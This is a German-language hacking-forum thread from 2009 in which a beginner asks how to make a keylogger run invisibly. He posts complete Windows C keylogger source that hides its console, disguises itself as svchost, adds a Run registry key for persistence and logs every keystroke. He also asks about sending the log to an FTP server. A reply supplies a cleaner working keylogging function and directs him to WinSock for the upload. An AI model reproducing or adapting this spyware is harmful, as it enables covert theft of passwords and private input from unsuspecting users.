Ergebnis 1 bis 6 von 6

Thema: Frage zu C++

  1. #1
    Linus Torvalds
    Registriert seit
    09.03.2008
    Beiträge
    1.189

    Standard Frage zu C++

    Habe da mal eine Frage,ich beschäftige mich seit einiger
    Zeit mit C++,habe auch schon einige Scripte angeschaut,
    um ein wenig mehr zu verstehen!

    Nur ist es immer so,das sich das Programm in der cmd
    öffnet,kann man z.b. bei einem Keylogger,die cmd invisible machen?

    Wäre echt mal interessant für mich =)
    08.03.2009

  2. #2
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard

    Das geht nicht in ANSI-C++.
    Wenn ich aber davon ausgehen darf, dass du Windows benutzt, dann versuch einen dieser Wege:
    #include <windows.h>

    ShowWindow(GetConsoleWindow(), false);

    oder

    FreeConsole();

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

  3. #3
    Linus Torvalds
    Registriert seit
    09.03.2008
    Beiträge
    1.189

    Standard

    Habe eben folgendes Script gefunden
    dort wird auch <windows.h> verwendet.
    Kann ich die logdatei auch woanders ablegen,sprich einen eigenen Pfad bestimmen wohin sie soll?...oder sogar auf einen FTP Laden?
    Sorry bin totaler anfänger :oops


    Code:
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    
    #define BUFSIZE 80
    
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
    
    
    int main(void)
    {
        HWND stealth; /*creating stealth (window is not visible)*/
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
      
        int test,create;
        test=test_key();/*check if key is available for opening*/
            
        if (test==2)/*create key*/
        {
            char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
            create=create_key(path);
              
        }
            
      
        int t=get_keys();
        
        return t;
    }  
    
    int get_keys(void)
    {
                short character;
                  while(1)
                  {
                        
                         for(character=8;character<=222;character++)
                         {
                             if(GetAsyncKeyState(character)==-32767)
                             {  
                                
                                 FILE *file;
                                 file=fopen("svchost.log","a+");
                                 if(file==NULL)
                                 {
                                         return 1;
                                 }            
                                 if(file!=NULL)
                                 {        
                                         if((character>=39)&&(character<=64))
                                         {
                                               fputc(character,file);
                                               fclose(file);
                                               break;
                                         }        
                                         else if((character>64)&&(character<91))
                                         {
                                               character+=32;
                                               fputc(character,file);
                                               fclose(file);
                                               break;
                                         }
                                         else
                                         {
                                             switch(character)
                                             {
                                                   case VK_SPACE:
                                                   fputc(' ',file);
                                                   fclose(file);
                                                   break;    
                                                   case VK_SHIFT:
                                                   fputs("[SHIFT]",file);
                                                   fclose(file);
                                                   break;                                            
                                                   case VK_RETURN:
                                                   fputs("\n[ENTER]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_BACK:
                                                   fputs("[BACKSPACE]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_TAB:
                                                   fputs("[TAB]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_CONTROL:
                                                   fputs("[CTRL]",file);
                                                   fclose(file);
                                                   break;    
                                                   case VK_DELETE:
                                                   fputs("[DEL]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_1:
                                                   fputs("[;:]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_2:
                                                   fputs("[/?]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_3:
                                                   fputs("[`~]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_4:
                                                   fputs("[ [{ ]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_5:
                                                   fputs("[\\|]",file);
                                                   fclose(file);
                                                   break;                                
                                                   case VK_OEM_6:
                                                   fputs("[ ]} ]",file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_7:
                                                   fputs("['\"]",file);
                                                   fclose(file);
                                                   break;
                                                   /*case VK_OEM_PLUS:
                                                   fputc('+',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_COMMA:
                                                   fputc(',',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_MINUS:
                                                   fputc('-',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_OEM_PERIOD:
                                                   fputc('.',file);
                                                   fclose(file);
                                                   break;*/
                                                   case VK_NUMPAD0:
                                                   fputc('0',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD1:
                                                   fputc('1',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD2:
                                                   fputc('2',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD3:
                                                   fputc('3',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD4:
                                                   fputc('4',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD5:
                                                   fputc('5',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD6:
                                                   fputc('6',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD7:
                                                   fputc('7',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD8:
                                                   fputc('8',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_NUMPAD9:
                                                   fputc('9',file);
                                                   fclose(file);
                                                   break;
                                                   case VK_CAPITAL:
                                                   fputs("[CAPS LOCK]",file);
                                                   fclose(file);
                                                   break;
                                                   default:
                                                   fclose(file);
                                                   break;
                                            }        
                                       }    
                                  }        
                        }    
                    }                  
                        
                }
                return EXIT_SUCCESS;                            
    }                                                
    
    int test_key(void)
    {
        int check;
        HKEY hKey;
        char path[BUFSIZE];
        DWORD buf_length=BUFSIZE;
        int reg_key;
        
        reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
        if(reg_key!=0)
        {    
            check=1;
            return check;
        }        
              
        reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
        
        if((reg_key!=0)||(buf_length>BUFSIZE))
            check=2;
        if(reg_key==0)
            check=0;
            
        RegCloseKey(hKey);
        return check;  
    }
      
    int create_key(char *path)
    {  
            int reg_key,check;
            
            HKEY hkey;
            
            reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
            if(reg_key==0)
            {
                    RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                    check=0;
                    return check;
            }
            if(reg_key!=0)
                    check=1;
                    
            return check;
    }
    08.03.2009

  4. #4
    has one Avatar von noctem
    Registriert seit
    08.06.2008
    Beiträge
    392

    Standard

    Ja, natürlich kannst du den Pfad ändern:
    file=fopen("svchost.log","a+");

    Und was versprichst du dir davon fremde Sourcecodes einfach nur zu bearbeiten aber 90% nicht zu verstehen?
    Lern lieber mal die Grundlagen der Sprache.
    noctem{aet}jabber.ccc.de

  5. #5
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard

    @noctem

    Gut gesagt


    @Gumball

    Diese keylogger Funktion ist wirklich das unordentlichste das ich je gesehen habe...

    Versuchs erstmal damit - sollte einfacher zu verstehen sein:
    Code:
    #include <windows.h>
    
    void logKeys(const char* logFile)
    {
    	short c;
    	long size;
    	FILE* fp = fopen(logFile, "a+");
    	if(fp != NULL)
    	{
    		while(1)
    		{
    			for(c=8;c<127;c++)
    			{
    				if(GetAsyncKeyState(c) == -32767)
    				{
    					if (c > 38 && c < 91)
    					{
    						if(c > 64)
    						{
    							c += 32;
    						}
    						fputc(c, fp);
    					}
    					else
    					{
    						switch(c)
    						{
    							case VK_SPACE:
    								fputc(' ', fp);
    								break;
    							case VK_RETURN:
    								fputc('\n', fp);
    								break;
    							case VK_TAB:
    								fputc('\t', fp);
    								break;
    							case VK_BACK:
    								fputs("[<- ]", fp);
    								break;
    							default:
    								fputs("[?]", fp);
    								break;
    						}
    					}
    					fseek (fp, 0, SEEK_END);
    					size = ftell(fp);
    					if (size > 2048.0)
    					{
    						if (DeleteFile(logFile) == false)
    						{
    							return (void) NULL;
    						}
    					}
    					fclose(fp);
    				}
    			}
    		}
    	}
    }
    Zum Thema FTP sage ich nur zwei Sachen:
    1) File Transfer Protocol lernen
    2) WinSock und das Gelernte anwenden

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

  6. #6
    CIH-Virus Avatar von -[RiDER]-
    Registriert seit
    05.01.2007
    Beiträge
    496

    Standard Re: Frage zu C++

    Hi
    Zitat Zitat von Gumball
    [...]habe auch schon einige Scripte angeschaut[...]
    Oha, Scripting in C/C++ is ne kranke Sache... wie haste das gemacht???
    Mit Lua (http://www.lua.org/) oder mit irgendwelchen PERL-Libraries oder so?

    Oder meinteste normale Sources, die Du als Skripte bezeichnest (was dann falsch wäre )?

    GreetZ RiDER

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •